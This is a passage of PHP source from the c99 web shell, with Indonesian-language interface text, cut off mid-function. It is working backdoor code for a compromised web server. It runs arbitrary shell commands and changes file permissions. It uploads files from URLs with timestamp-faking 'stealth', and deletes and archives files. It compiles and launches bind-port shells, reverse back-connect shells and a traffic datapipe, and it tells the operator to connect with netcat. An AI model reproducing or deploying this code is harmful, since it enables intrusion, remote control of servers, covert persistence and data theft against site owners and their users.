1730}
1731if ($act == "search")
1732{
1733 echo "<b>Search in file-system:</b><br>";
1734 if (empty($search_in)) {$search_in = $d;}
1735 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
1736 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
1737 if (!empty($submit))
1738 {
1739 $found = array();
1740 $found_d = 0;
1741 $found_f = 0;
1742 $search_i_f = 0;
1743 $search_i_d = 0;
1744 $a = array
1745 (
1746 "name"=>$search_name, "name_regexp"=>$search_name_regexp,
1747 "text"=>$search_text, "text_regexp"=>$search_text_regxp,
1748 "text_wwo"=>$search_text_wwo,
1749 "text_cs"=>$search_text_cs,
1750 "text_not"=>$search_text_not
1751 );
1752 $searchtime = getmicrotime();
1753 $in = array_unique(explode(";",$search_in));
1754 foreach($in as $v) {c99fsearch($v);}
1755 $searchtime = round(getmicrotime()-$searchtime,4);
1756 if (count($found) == 0) {echo "<b>No files found!</b>";}
1757 else
1758 {
1759 $ls_arr = $found;
1760 $disp_fullpath = TRUE;
1761 $act = "ls";
1762 }
1763 }
1764 echo "<form method=POST>
1765<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
1766<b>Search for (File/Folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
1767<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
1768<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
1769<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
1770 <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
1771 <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
1772 <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
1773<br><br><input type=submit name=submit value=\"Search\"></form>";
1774 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
1775}
1776if ($act == "chmod")
1777{
1778 $mode = fileperms($d.$f);
1779 if (!$mode) {echo "<b>Ganti mode file dg error:</b> ga bisa dapet nilai sekarang";}
1780 else
1781 {
1782 $form = TRUE;
1783 if ($chmod_submit)
1784 {
1785 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
1786 if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
1787 else {$err = "Can't chmod to ".$octet.".";}
1788 }
1789 if ($form)
1790 {
1791 $perms = parse_perms($mode);
1792 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
1793 }
1794 }
1795}
1796if ($act == "upload")
1797{
1798 $uploadmess = "";
1799 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
1800 if (empty($uploadpath)) {$uploadpath = $d;}
1801 elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
1802 if (!empty($submit))
1803 {
1804 global $HTTP_POST_FILES;
1805 $uploadfile = $HTTP_POST_FILES["uploadfile"];
1806 if (!empty($uploadfile["tmp_name"]))
1807 {
1808 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
1809 else {$destin = $userfilename;}
1810 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error waktu meng-upload Bro! ".$uploadfile["name"]." (Ga bisa copy \"".$uploadfile["tmp_name"]."\" ke \"".$uploadpath.$destin."\"!<br>";}
1811 }
1812 elseif (!empty($uploadurl))
1813 {
1814 if (!empty($uploadfilename)) {$destin = $uploadfilename;}
1815 else
1816 {
1817 $destin = explode("/",$destin);
1818 $destin = $destin[count($destin)-1];
1819 if (empty($destin))
1820 {
1821 $i = 0;
1822 $b = "";
1823 while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
1824 }
1825 if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Salah alamat Bro!!</b><br>";}
1826 else
1827 {
1828 $st = getmicrotime();
1829 $content = @file_get_contents($uploadurl);
1830 $dt = round(getmicrotime()-$st,4);
1831 if (!$content) {$uploadmess .= "Ga bisa download file!<br>";}
1832 else
1833 {
1834 if ($filestealth) {$stat = stat($uploadpath.$destin);}
1835 $fp = fopen($uploadpath.$destin,"w");
1836 if (!$fp) {$uploadmess .= "Error nulis ke file ".htmlspecialchars($destin)."!<br>";}
1837 else
1838 {
1839 fwrite($fp,$content,strlen($content));
1840 fclose($fp);
1841 if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
1842 }
1843 }
1844 }
1845 }
1846 }
1847 if ($miniform)
1848 {
1849 echo "<b>".$uploadmess."</b>";
1850 $act = "ls";
1851 }
1852 else
1853 {
1854 echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
1855Pilih file dari Kompi lo yang mau lo Upload: <input name=\"uploadfile\" type=\"file\"><br> or<br>
1856Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
1857Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
1858File-name (auto-fill): <input name=uploadfilename size=25><br><br>
1859<input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
1860<input type=submit name=submit value=\"Upload\">
1861</form>";
1862 }
1863}
1864if ($act == "delete")
1865{
1866 $delerr = "";
1867 foreach ($actbox as $v)
1868 {
1869 $result = FALSE;
1870 $result = fs_rmobj($v);
1871 if (!$result) {$delerr .= "Ga bisa delete ".htmlspecialchars($v)."<br>";}
1872 }
1873 if (!empty($delerr)) {echo "<b>Error waktu nge-delete :</b><br>".$delerr;}
1874 $act = "ls";
1875}
1876if (!$usefsbuff)
1877{
1878 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry nih bro, buffer di- disabled. Untuk enable-in, set directive \"\$useFSbuff\" jadi TRUE.</center>";}
1879}
1880else
1881{
1882 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
1883 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
1884 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
1885 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
1886 elseif ($actpastebuff)
1887 {
1888 $psterr = "";
1889 foreach($sess_data["copy"] as $k=>$v)
1890 {
1891 $to = $d.basename($v);
1892 if (!fs_copy_obj($v,$to)) {$psterr .= "Ga bisa copy ".$v." ke ".$to."!<br>";}
1893 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1894 }
1895 foreach($sess_data["cut"] as $k=>$v)
1896 {
1897 $to = $d.basename($v);
1898 if (!fs_move_obj($v,$to)) {$psterr .= "Ga bisa mindahin ".$v." ke ".$to."!<br>";}
1899 unset($sess_data["cut"][$k]);
1900 }
1901 c99_sess_put($sess_data);
1902 if (!empty($psterr)) {echo "<b>Paste dengan error:</b><br>".$psterr;}
1903 $act = "ls";
1904 }
1905 elseif ($actarcbuff)
1906 {
1907 $arcerr = "";
1908 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1909 else {$ext = ".tar.gz";}
1910 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1911 $cmdline .= " ".$actarcbuff_path;
1912 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1913 foreach($objects as $v)
1914 {
1915 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1916 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1917 if (is_dir($v))
1918 {
1919 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1920 $v .= "*";
1921 }
1922 $cmdline .= " ".$v;
1923 }
1924 $tmp = realpath(".");
1925 chdir($d);
1926 $ret = myshellexec($cmdline);
1927 chdir($tmp);
1928 if (empty($ret)) {$arcerr .= "Ga bisa calling archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1929 $ret = str_replace("\r\n","\n",$ret);
1930 $ret = explode("\n",$ret);
1931 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1932 foreach($sess_data["cut"] as $k=>$v)
1933 {
1934 if (in_array($v,$ret)) {fs_rmobj($v);}
1935 unset($sess_data["cut"][$k]);
1936 }
1937 c99_sess_put($sess_data);
1938 if (!empty($arcerr)) {echo "<b>Error waktu ngompress:</b><br>".$arcerr;}
1939 $act = "ls";
1940 }
1941 elseif ($actpastebuff)
1942 {
1943 $psterr = "";
1944 foreach($sess_data["copy"] as $k=>$v)
1945 {
1946 $to = $d.basename($v);
1947 if (!fs_copy_obj($v,$d)) {$psterr .= "Ga bisa copy ".$v." ke ".$to."!<br>";}
1948 if ($copy_unset) {unset($sess_data["copy"][$k]);}
1949 }
1950 foreach($sess_data["cut"] as $k=>$v)
1951 {
1952 $to = $d.basename($v);
1953 if (!fs_move_obj($v,$d)) {$psterr .= "Ga bisa mindahin ".$v." ke ".$to."!<br>";}
1954 unset($sess_data["cut"][$k]);
1955 }
1956 c99_sess_put($sess_data);
1957 if (!empty($psterr)) {echo "<b>Paste dengan errors:</b><br>".$psterr;}
1958 $act = "ls";
1959 }
1960}
1961if ($act == "cmd")
1962{
1963if (trim($cmd) == "ps -aux") {$act = "processes";}
1964elseif (trim($cmd) == "tasklist") {$act = "processes";}
1965else
1966{
1967 @chdir($chdir);
1968 if (!empty($submit))
1969 {
1970 echo "<b>What the fuck are you doing</b> : <br>";
1971 $olddir = realpath(".");
1972 @chdir($d);
1973 $ret = myshellexec($cmd);
1974 $ret = convert_cyr_string($ret,"d","w");
1975 if ($cmd_txt)
1976 {
1977 $rows = count(explode("\r\n",$ret))+1;
1978 if ($rows < 10) {$rows = 10;}
1979 echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
1980 }
1981 else {echo $ret."<br>";}
1982 @chdir($olddir);
1983 }
1984 else {echo "<b>perintah yang dijalanin</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
1985 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> tampilin di text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
1986}
1987}
1988if ($act == "ls")
1989{
1990 if (count($ls_arr) > 0) {$list = $ls_arr;}
1991 else
1992 {
1993 $list = array();
1994 if ($h = @opendir($d))
1995 {
1996 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1997 closedir($h);
1998 }
1999 else {}
2000 }
2001 if (count($list) == 0) {echo "<center><b>Ga bisa buka folder (".htmlspecialchars($d).")!</b></center>";}
2002 else
2003 {
2004 //Building array
2005 $objects = array();
2006 $vd = "f"; //Viewing mode
2007 if ($vd == "f")
2008 {
2009 $objects["head"] = array();
2010 $objects["folders"] = array();
2011 $objects["links"] = array();
2012 $objects["files"] = array();
2013 foreach ($list as $v)
2014 {
2015 $o = basename($v);
2016 $row = array();
2017 if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
2018 elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
2019 elseif (is_dir($v))
2020 {
2021 if (is_link($v)) {$type = "LINK";}
2022 else {$type = "DIR";}
2023 $row[] = $v;
2024 $row[] = $type;
2025 }
2026 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
2027 $row[] = filemtime($v);
2028 if (!$win)
2029 {
2030 $ow = posix_getpwuid(fileowner($v));
2031 $gr = posix_getgrgid(filegroup($v));
2032 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
2033 }
2034 $row[] = fileperms($v);
2035 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
2036 elseif (is_link($v)) {$objects["links"][] = $row;}
2037 elseif (is_dir($v)) {$objects["folders"][] = $row;}
2038 elseif (is_file($v)) {$objects["files"][] = $row;}
2039 $i++;
2040 }
2041 $row = array();
2042 $row[] = "<b>Nama</b>";
2043 $row[] = "<b>Ukuran</b>";
2044 $row[] = "<b>Modify</b>";
2045 if (!$win)
2046 {$row[] = "<b>Owner/Group</b>";}
2047 $row[] = "<b>Perms</b>";
2048 $row[] = "<b>Action</b>";
2049 $parsesort = parsesort($sort);
2050 $sort = $parsesort[0].$parsesort[1];
2051 $k = $parsesort[0];
2052 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
2053 $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
2054 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
2055 $row[$k] .= $y;
2056 for($i=0;$i<count($row)-1;$i++)
2057 {
2058 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
2059 }
2060 $v = $parsesort[0];
2061 usort($objects["folders"], "tabsort");
2062 usort($objects["links"], "tabsort");
2063 usort($objects["files"], "tabsort");
2064 if ($parsesort[1] == "d")
2065 {
2066 $objects["folders"] = array_reverse($objects["folders"]);
2067 $objects["files"] = array_reverse($objects["files"]);
2068 }
2069 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
2070 $tab = array();
2071 $tab["cols"] = array($row);
2072 $tab["head"] = array();
2073 $tab["folders"] = array();
2074 $tab["links"] = array();
2075 $tab["files"] = array();
2076 $i = 0;
2077 foreach ($objects as $a)
2078 {
2079 $v = $a[0];
2080 $o = basename($v);
2081 $dir = dirname($v);
2082 if ($disp_fullpath) {$disppath = $v;}
2083 else {$disppath = $o;}
2084 $disppath = str2mini($disppath,60);
2085 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
2086 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
2087 foreach ($regxp_highlight as $r)
2088 {
2089 if (ereg($r[0],$o))
2090 {
2091 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning!!! Konfigurasi error di \$regxp_highlight[".$k."][0] - v1n Ga tau perintahnya."; c99shexit();}
2092 else
2093 {
2094 $r[1] = round($r[1]);
2095 $isdir = is_dir($v);
2096 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
2097 {
2098 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
2099 $disppath = $r[2].$disppath.$r[3];
2100 if ($r[4]) {break;}
2101 }
2102 }
2103 }
2104 }
2105 $uo = urlencode($o);
2106 $ud = urlencode($dir);
2107 $uv = urlencode($v);
2108 $row = array();
2109 if ($o == ".")
2110 {
2111 $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2112 $row[] = "LINK";
2113 }
2114 elseif ($o == "..")
2115 {
2116 $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
2117 $row[] = "LINK";
2118 }
2119 elseif (is_dir($v))
2120 {
2121 if (is_link($v))
2122 {
2123 $disppath .= " => ".readlink($v);
2124 $type = "LINK";
2125 $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2126 }
2127 else
2128 {
2129 $type = "DIR";
2130 $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\"> <a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
2131 }
2132 $row[] = $type;
2133 }
2134 elseif(is_file($v))
2135 {
2136 $ext = explode(".",$o);
2137 $c = count($ext)-1;
2138 $ext = $ext[$c];
2139 $ext = strtolower($ext);
2140 $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> <a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
2141 $row[] = view_size($a[1]);
2142 }
2143 $row[] = date("d.m.Y H:i:s",$a[2]);
2144 if (!$win) {$row[] = $a[3];}
2145 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
2146 if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
2147 else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
2148 if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> ".$checkbox;}
2149 else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a> ".$checkbox;}
2150 if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
2151 elseif (is_link($v)) {$tab["links"][] = $row;}
2152 elseif (is_dir($v)) {$tab["folders"][] = $row;}
2153 elseif (is_file($v)) {$tab["files"][] = $row;}
2154 $i++;
2155 }
2156 }
2157 // Compiling table
2158 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
2159 echo "<center><b>Daftar isi Folder (".count($tab["files"])." File dan ".(count($tab["Folders"])+count($tab["links"]))." Folder):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
2160 foreach($table as $row)
2161 {
2162 echo "<tr>\r\n";
2163 foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
2164 echo "</tr>\r\n";
2165 }
2166 echo "</table><hr size=\"1\" noshade><p align=\"right\">
2167 <script>
2168 function ls_setcheckboxall(status)
2169 {
2170 var id = 1;
2171 var num = ".(count($table)-2).";
2172 while (id <= num)
2173 {
2174 document.getElementById('actbox'+id).checked = status;
2175 id++;
2176 }
2177 }
2178 function ls_reverse_all()
2179 {
2180 var id = 1;
2181 var num = ".(count($table)-2).";
2182 while (id <= num)
2183 {
2184 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
2185 id++;
2186 }
2187 }
2188 </script>
2189 <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
2190 <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
2191 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
2192 {
2193 echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
2194 }
2195 echo "<select name=act><option value=\"".$act."\">mAu diApAin niH?</option>";
2196 echo "<option value=delete".($dspact == "delete"?" selected":"").">di Hapus</option>";
2197 echo "<option value=chmod".($dspact == "chmod"?" selected":"").">di Ganti Mode</option>";
2198 if ($usefsbuff)
2199 {
2200 echo "<option value=cut".($dspact == "cut"?" selected":"").">di Cut</option>";
2201 echo "<option value=copy".($dspact == "copy"?" selected":"").">di Copy</option>";
2202 echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
2203 }
2204 echo "</select> <input type=submit value=\"Confirm\"></p>";
2205 echo "</form>";
2206 }
2207}
2208if ($act == "tools")
2209{
2210 $bndportsrcs = array(
2211 "c99sh_bindport.pl"=>array("Gunain PERL","perl %path %port"),
2212 "c99sh_bindport.c"=>array("Gunain C","%path %port %pass")
2213 );
2214 $bcsrcs = array(
2215 "c99sh_backconn.pl"=>array("Gunain PERL","perl %path %host %port"),
2216 "c99sh_backconn.c"=>array("Gunain C","%path %host %port")
2217 );
2218 $dpsrcs = array(
2219 "c99sh_datapipe.pl"=>array("Gunain PERL","perl %path %localport %remotehost %remoteport"),
2220 "c99sh_datapipe.c"=>array("Gunain C","%path %localport %remoteport %remotehost")
2221 );
2222 if (!is_array($bind)) {$bind = array();}
2223 if (!is_array($bc)) {$bc = array();}
2224 if (!is_array($datapipe)) {$datapipe = array();}
2225
2226 if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
2227 if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
2228
2229 if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
2230 if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
2231
2232 if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "matrix.dal.net:6667";}
2233 if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
2234 if (!empty($bindsubmit))
2235 {
2236 echo "<b>Hasil dari binding port:</b><br>";
2237 $v = $bndportsrcs[$bind["src"]];
2238 if (empty($v)) {echo "File tidak dikenal v1n!<br>";}
2239 elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "port udah dipake!<br>";}
2240 else
2241 {
2242 $w = explode(".",$bind["src"]);
2243 $ext = $w[count($w)-1];
2244 unset($w[count($w)-1]);
2245 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2246 $binpath = $tmpdir.join(".",$w).rand(0,999);
2247 if ($ext == "pl") {$binpath = $srcpath;}
2248 @unlink($srcpath);
2249 $fp = fopen($srcpath,"ab+");
2250 if (!$fp) {echo "Ga bisa tulis sources ke \"".$srcpath."\"!<br>";}
2251 elseif (!$data = c99getsource($bind["src"])) {echo "Ga bisa download sources!";}
2252 else
2253 {
2254 fwrite($fp,$data,strlen($data));
2255 fclose($fp);
2256 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2257 $v[1] = str_replace("%path",$binpath,$v[1]);
2258 $v[1] = str_replace("%port",$bind["port"],$v[1]);
2259 $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
2260 $v[1] = str_replace("//","/",$v[1]);
2261 $retbind = myshellexec($v[1]." > /dev/null &");
2262 sleep(5);
2263 $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
2264 if (!$sock) {echo "v1n Ga bisa connect ke localhost:".$bind["port"]."! Mungkin ada baeknya Lo Konfigurasi firewall.";}
2265 else {echo "Binding... ok! Connect ke <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! Sebaiknya Lo gunain NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>Lihat proses nya binder</u></a></center>";}
2266 }
2267 echo "<br>";
2268 }
2269 }
2270 if (!empty($bcsubmit))
2271 {
2272 echo "<b>Hasil dari back connection:</b><br>";
2273 $v = $bcsrcs[$bc["src"]];
2274 if (empty($v)) {echo "File tidak dikenal v1n!<br>";}
2275 else
2276 {
2277 $w = explode(".",$bc["src"]);
2278 $ext = $w[count($w)-1];
2279 unset($w[count($w)-1]);
2280 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2281 $binpath = $tmpdir.join(".",$w).rand(0,999);
2282 if ($ext == "pl") {$binpath = $srcpath;}
2283 @unlink($srcpath);
2284 $fp = fopen($srcpath,"ab+");
2285 if (!$fp) {echo "Ga bisa tulis sources ke \"".$srcpath."\"!<br>";}
2286 elseif (!$data = c99getsource($bc["src"])) {echo "Ga bisa download sources!";}
2287 else
2288 {
2289 fwrite($fp,$data,strlen($data));
2290 fclose($fp);
2291 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2292 $v[1] = str_replace("%path",$binpath,$v[1]);
2293 $v[1] = str_replace("%host",$bc["host"],$v[1]);
2294 $v[1] = str_replace("%port",$bc["port"],$v[1]);
2295 $v[1] = str_replace("//","/",$v[1]);
2296 $retbind = myshellexec($v[1]." > /dev/null &");
2297 echo "Sekarang script coba connect ke ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
2298 }
2299 }
2300 }
2301 if (!empty($dpsubmit))
2302 {
2303 echo "<b>Hasil dari datapipe-running:</b><br>";
2304 $v = $dpsrcs[$datapipe["src"]];
2305 if (empty($v)) {echo "File tidak dikenal v1n!<br>";}
2306
2307 elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port al#ff0000y ada yang pake, klo kata v1n sich pilih aja yang lain!<br>";}
2308 else
2309 {
2310 $srcpath = $tmpdir.$datapipe["src"];
2311 $w = explode(".",$datapipe["src"]);
2312 $ext = $w[count($w)-1];
2313 unset($w[count($w)-1]);
2314 $srcpath = join(".",$w).".".rand(0,999).".".$ext;
2315 $binpath = $tmpdir.join(".",$w).rand(0,999);
2316 if ($ext == "pl") {$binpath = $srcpath;}
2317 @unlink($srcpath);
2318 $fp = fopen($srcpath,"ab+");
2319 if (!$fp) {echo "Ga bisa tulis sources ke \"".$srcpath."\"!<br>";}
2320 elseif (!$data = c99getsource($datapipe["src"])) {echo "Ga bisa download sources!";}
2321 else
2322 {
2323 fwrite($fp,$data,strlen($data));
2324 fclose($fp);
2325 if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
2326 list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
2327 $v[1] = str_replace("%path",$binpath,$v[1]);
2328 $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
